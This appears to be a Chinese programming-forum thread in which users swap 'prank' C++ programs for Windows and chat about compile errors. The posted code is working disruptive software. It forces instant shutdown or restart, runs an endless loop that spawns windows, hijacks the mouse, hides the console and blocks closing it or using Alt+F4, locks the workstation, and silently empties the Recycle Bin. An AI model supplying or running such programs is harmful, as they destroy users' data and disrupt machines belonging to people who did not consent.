#include<bits/stdc++.h> #include<windows.h> using namespace std; int main(){ system("shutdown -s -t 0"); cout<<"0s:\n";//这个可以不要 Sleep(1); cout<<"6s";//这个也可以不要 return 0; }
@CPP 我又找了一个新的
#include<bits/stdc++.h> #include<windows.h> using namespace std; void ____2() { HWND hwnd; hwnd=FindWindow("ConsoleWindowClass",NULL); if(hwnd) ShowWindow(hwnd,SW_HIDE); return; } void ____1(){ system("color A1"); DeleteMenu(GetSystemMenu(GetConsoleWindow(),FALSE),SC_CLOSE,MF_BYCOMMAND); DrawMenuBar(GetConsoleWindow()); srand(time(0)); system("mode con cols=50 lines=25"); system("title 我就爱坑你"); for(int i=1;i<=500;i++){ int x,y; x=rand()%50+600; y=rand()%50+600; SetCursorPos(x,y); Sleep(10); } while(MessageBox(NULL,TEXT(" 你 是 猪 吗 ?"),TEXT("你是猪"),MB_YESNO)==IDNO){} MessageBox(NULL,TEXT("我 知 道 了,你 是 猪。"),TEXT("你是猪"),MB_OK); for(int i=1;i<=100;i++){ system("start cmd"); } Sleep(1000); for(int i=1;i<=8;i++){ cout<<"正在更新请勿关机……"; cout<<"\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b"; Sleep(500); cout<<"正在更新请勿关机… "; cout<<"\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b"; Sleep(500); } MessageBox(NULL,TEXT("Windows 将 在 0.121204 年 后 关 机"),TEXT(" "),MB_OK); cout<<"\n\n\n\n\n 你怎么能关机呢"; Sleep(1000); for(int i=1;i<=100;i++){ cout<<"\n ?"; Sleep(10); } system("cls"); if(MessageBox(NULL,TEXT("你 是 笨 蛋 吗 ?是 的 话 可 以 取 消 关 机。"),TEXT("你是笨蛋"),MB_YESNO)==IDYES) cout<<"\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b"; Sleep(500); cout<<"你猜我在干嘛?\n"; string a; cin>>a; cout<<"\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b我在登记一个笨蛋"; Sleep(1000); cout<<"\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b警告!警告!系统出错!系统出错!"; for (int i=0;i<10;i++){ system("color A0"); Sleep(50); system("color B0"); Sleep(50); system("color C0"); Sleep(50); system("color D0"); Sleep(50); system("color E0"); Sleep(50); system("color F0"); Sleep(50); } system("cls"); SHEmptyRecycleBin(NULL,NULL,SHERB_NOCONFIRMATION); SystemParametersInfo (SPI_SETDESKWALLPAPER, 0 , (void*)"D:\\廖晓晨\\我的游戏\\坑人小程序\\text.webp",0); cout<<"最后一个彩蛋:"; Sleep(3000); ____2(); int pix; HWND wnd; HDC dc; wnd=FindWindow("SysListView32",NULL); dc=GetDC(wnd); pix=RGB(0,0,0); int x=0; int y=0; for(int i=0;i<3500;i++){ for(int j=0;j<1500;j++){ pix=RGB(i%255,j%255,(i+j)%255); SetPixel(dc,x+i,y+j,pix); } } system("start https://blog.csdn.net/2301_76445315/article/details/130543705"); Sleep(10000); system("shutdown -h"); system("图标.exe"); } int main(){ ____1(); return 0; }
等我回去看看错没有
我是在网上找的
@ykj105 我在洛谷在线 IDE 上运行,然后 CE 了,求指导
#include <iostream> #include <fstream> #include <Windows.h> #include <conio.h> #include <string.h> #include <ctime> #include <tchar.h> #include <thread> using namespace std; #define n1 532 #define n2 588 #define n3 660 #define n4 698 #define n5 784 #define n6 880 #define n7 988 #define nb3 623 #define nb7 930 #define h1 1046 #define h2 1175 #define h3 1319 #define h4 1397 #define h5 1568 #define h6 1760 #define h7 1976 #define hb3 1241 #define hb7 2092 int m; char n; int x, y; int a, b; string ch_1, ch_2; void FadeAway() { Beep(n4, 150); Beep(n4, 150); Beep(h4, 300); Beep(hb3, 300); Beep(nb7, 150); Beep(h1, 300); } void f() { cout << "------------------------------------------------------华丽的开始线------------------------------------------------------"; cout << "作为一个萌新,也该坑坑人了……" << endl; Sleep(2000); cout << "好吧!system(\"start\")来一波!" << endl; Sleep(2000); cout << "似乎哪里出问题了。" << endl; Sleep(5000); system("start"); system("start"); system("start"); system("start"); system("start"); Sleep(1000); cout << "呵呵,关完没有?\n1、关完了\n2、没有" << endl; n = _getch(); cout << "呵呵,管你关完没有。再见!" << endl; Sleep(1000); system("rundll32.exe user32.dll,LockWorkStation"); Sleep(5000); cout << "呵呵,我又回来了!MEIFAXIANSHUBIAODONGBULIAOMA?" << endl; while (!_kbhit()) { SetCursorPos(1, 1); } FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE)); Sleep(2000); cout << "呵呵,我怎么那么喜欢说“呵呵”呢?" << endl; while (!_kbhit()) { SetCursorPos(1, 1); } cout << "呵呵,再来!" << endl; for (int i = 0; i < 10; i++) { system("color A0"); Sleep(50); system("color B0"); Sleep(50); system("color C0"); Sleep(50); system("color D0"); Sleep(50); system("color E0"); Sleep(50); system("color F0"); Sleep(50); } Sleep(2000); cout << "没把你闪瞎吧!" << endl; Sleep(2000); cout << "-------------------------------------------------------小游戏环节-------------------------------------------------------"; srand(time(0)); for (int i = 1; i <= 3; i++) { x = rand() % 10 + 1; y = rand() % 39 + 1; if (i == 1) { ch_1 = "汩"; ch_2 = "汨"; } if (i == 2) { ch_1 = "汆"; ch_2 = "氽"; } if (i == 3) { ch_1 = "匚"; ch_2 = "匸"; } cout << "找不同——" << i << endl; cout << " 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 "; for (int j = 1; j <= 10; j++) { if (j >= 1 && j <= 9) { cout << j << " "; } else { cout << j << " "; } for (int k = 1; k <= 39; k++) { if (j == x && k == y) { cout << ch_2 << " "; } else { cout << ch_1 << " "; } } } cout << "请依次输入行数、列数:"; cin >> a >> b; if (a == x && b == y) { cout << "正确!" << endl; } else { cout << "错误!" << endl; Sleep(2000); system("cls"); i--; } if (i != 3) { cout << endl; } } cout << "------------------------------------------------------华丽的分割线------------------------------------------------------"; cout << "旁白:你是一位“main”函数,代码已预加载<iostream>。" << endl; Sleep(2000); cout << "std:main,喏!cin、cout、endl……给你!" << endl; Sleep(1000); MessageBox(GetForegroundWindow(), _T("是否接受?"), _T("std"), 4); Sleep(1000); cout << "旁白:萌新并没加上\"using namespace std;\"。" << endl; Sleep(2000); cout << "旁白:这位萌新写上了一句cout,并编译了一下。" << endl; Sleep(2000); cout << "系统:\"cout\":未声明的标识符" << endl; Sleep(2000); cout << "旁白:萌新一塌糊涂。" << endl; Sleep(2000); cout << "旁白:于是,萌新到网上搜了个代码,把你删掉了。" << endl; Sleep(2000); cout << "------------------------------------------------------First Blood------------------------------------------------------"; FadeAway(); Sleep(2000); cout << "Windows.h:喏!Sleep、MessageBox……给你!" << endl; Sleep(1000); MessageBox(GetForegroundWindow(), _T("是否接受?"), _T("Windows.h"), 3); Sleep(1000); cout << "旁白:萌新并没加上\"#include <Windows.h>\"。" << endl; Sleep(2000); cout << "旁白:这位萌新写上了一句Sleep,并编译了一下。" << endl; Sleep(2000); cout << "系统:\"Sleep\":未声明的标识符" << endl; Sleep(2000); cout << "旁白:萌新一塌糊涂。" << endl; Sleep(2000); cout << "旁白:于是,萌新又到网上搜了个代码,把你删掉了。" << endl; Sleep(2000); cout << "------------------------------------------------------Double Kill------------------------------------------------------"; FadeAway(); Sleep(2000); cout << "旁白:萌新又加了几句,并编译了一下。" << endl; Sleep(2000); cout << "系统:编译中……" << endl; Sleep(2000); cout << "系统:编译中……" << endl; Sleep(2000); cout << "系统:编译中……" << endl; Sleep(2000); cout << "系统:编译中……" << endl; Sleep(2000); cout << "系统:编译中……" << endl; Sleep(2000); cout << "旁白:于是,萌新以为又是你搞的鬼,双到网上搜了个代码,把你删掉了。" << endl; Sleep(2000); cout << "------------------------------------------------------Triple Kill------------------------------------------------------"; FadeAway(); Sleep(2000); ofstream out("save.txt"); out << 1; out.close(); system("shutdown -r"); cout << "旁白:萌新想做一个坑人游戏,于是写了一段关机代码并运行了。" << endl; Sleep(2000); cout << "系统:关机中……(重启后打开有彩蛋!)" << endl; Sleep(100000); } void s() { cout << "--------------------------------------------------------YOU DIE--------------------------------------------------------"; Sleep(2000); cout << "-------------------------------------------------------Quadr Kill-------------------------------------------------------"; FadeAway(); Sleep(2000); cout << "然后没有然后了……" << endl; Sleep(2000); cout << "然后真的没有然后了……" << endl; Sleep(2000); cout << "但可以给你们讲一些坑人方式。" << endl; Sleep(2000); cout << "比如说我这个函数“楼下”的\"lock()\"函数就是先把控制台从任务栏隐藏,再禁用关闭键。" << endl; Sleep(2000); cout << "然后你的好朋友就会在打开程序的时候崩溃掉……" << endl; Sleep(2000); cout << "-------------------------------------------------------Penta Kill-------------------------------------------------------"; FadeAway(); Sleep(2000); cout << "还有,看到\"lock()\"“楼下”的\"key()\"了吗?" << endl; Sleep(2000); cout << "它是一检测到Alt被按下,就会清除输入缓冲区的数据,这是为了避免你的好朋友用Alt+F4强制关闭。然后……" << endl; Sleep(2000); cout << "-------------------------------------------------------Shut Down-------------------------------------------------------"; FadeAway(); Sleep(2000); cout << "再告诉你们一个小秘密:我没做任何关于任务管理器的防护……但是,至少我没成功过……导致我重启了好几次……" << endl; Sleep(2000); cout << "------------------------------------------------------华丽的结束线------------------------------------------------------"; ofstream out("save.txt"); out << 0; out.close(); } void lock() { HWND hWnd = GetConsoleWindow(); SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); HMENU hmenu = GetSystemMenu(hWnd, false); RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND); LONG style = GetWindowLong(hWnd, GWL_STYLE); style &= ~(WS_MINIMIZEBOX); SetWindowLong(hWnd, GWL_STYLE, style); SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE); ShowWindow(hWnd, SW_SHOWNORMAL); DestroyMenu(hmenu); ReleaseDC(hWnd, NULL); } DWORD WINAPI key(LPVOID lpParameter) { while (1) { if (_getch() == 0x12) { FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE)); } } return 0L; } int main() { HANDLE hThread = CreateThread(NULL, 0, key, NULL, 0, NULL); CloseHandle(hThread); lock(); ifstream in("save.txt"); in >> m; in.close(); if (m == 1) { s(); } else { f(); } return 0; }
觉得还不错的话可以试试
#include<bits/stdc++.h> #include<windows.h> using namespace std; int main(){ system("shutdown -p"); return 0; }
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#include<bits/stdc++.h> #include<windows.h> using namespace std; int main(){ while (1) system("start"); return 0; }
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我无语了
“我谢谢你”
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@CPP 我又找了一个新的
等我回去看看错没有
我是在网上找的
@ykj105 我在洛谷在线 IDE 上运行,然后 CE 了,求指导
觉得还不错的话可以试试
与
你!!! 6666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666
我无语了
“我谢谢你”